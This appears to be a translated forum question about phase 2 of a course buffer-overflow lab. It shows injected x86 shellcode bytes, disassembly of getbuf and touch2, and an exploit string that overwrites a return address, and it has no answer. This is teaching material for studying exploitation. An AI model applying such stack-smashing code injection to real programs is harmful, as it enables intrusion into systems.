缓冲区溢出 - 攻击实验室第 2 阶段

Buffer Overflow - Attack Lab Phase 2

提问人:idk8025 提问时间:11/15/2023 最后编辑:idk8025 更新时间:11/15/2023 访问量:36

问:

我有一个缓冲区溢出实验室,我必须为一个名为 The Attack Lab 的项目做。我正在进行实验的第 2 阶段,我必须注入代码作为漏洞利用字符串的一部分,以便使程序指向函数 touch2() 的地址。

我使用此代码将我的 cookie 0x442b29d8设置为 rdi

   0:   48 c7 c7 d8 29 2b 44    mov    $0x442b29d8,%rdi
   7:   c3                      retq   

这是我用来溢出的 getbuf 和我尝试执行的函数 touch2

0000000000401730 <getbuf>:
  401730:   48 83 ec 28             sub    $0x28,%rsp
  401734:   48 89 e7                mov    %rsp,%rdi
  401737:   e8 2e 02 00 00          callq  40196a <Gets>
  40173c:   b8 01 00 00 00          mov    $0x1,%eax
  401741:   48 83 c4 28             add    $0x28,%rsp
  401745:   c3                      retq   

0000000000401772 <touch2>:
  401772:   48 83 ec 08             sub    $0x8,%rsp
  401776:   89 fe                   mov    %edi,%esi
  401778:   c7 05 7a 2d 20 00 02    movl   $0x2,0x202d7a(%rip)        # 6044fc <vlevel>
  40177f:   00 00 00 
  401782:   3b 3d 7c 2d 20 00       cmp    0x202d7c(%rip),%edi        # 604504 <cookie>
  401788:   75 1b                   jne    4017a5 <touch2+0x33>
  40178a:   bf b8 2f 40 00          mov    $0x402fb8,%edi
  40178f:   b8 00 00 00 00          mov    $0x0,%eax
  401794:   e8 e7 f4 ff ff          callq  400c80 <printf@plt>
  401799:   bf 02 00 00 00          mov    $0x2,%edi
  40179e:   e8 b6 03 00 00          callq  401b59 <validate>
  4017a3:   eb 19                   jmp    4017be <touch2+0x4c>
  4017a5:   bf e0 2f 40 00          mov    $0x402fe0,%edi
  4017aa:   b8 00 00 00 00          mov    $0x0,%eax
  4017af:   e8 cc f4 ff ff          callq  400c80 <printf@plt>
  4017b4:   bf 02 00 00 00          mov    $0x2,%edi
  4017b9:   e8 4d 04 00 00          callq  401c0b <fail>
  4017be:   bf 00 00 00 00          mov    $0x0,%edi
  4017c3:   e8 28 f6 ff ff          callq  400df0 <exit@plt>


这是我所拥有的:

48 c7 c7 d8 29 2b 44 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
72 17 40 00 00 00 00 00

我将我的 cookie 移动到 %rdi 中并填充缓冲区的其余部分,直到我到达返回地址,我想将其发送到 touch2。这是我尝试攻击时得到的:

键入字符串:Misfire:您调用了 touch2(0xbf88a640) 失败

我不确定为什么cookie不正确。

x86 缓冲区溢出

评论

0赞 jsotola 11/16/2023
您如何知道cookie不正确?

答: 暂无答案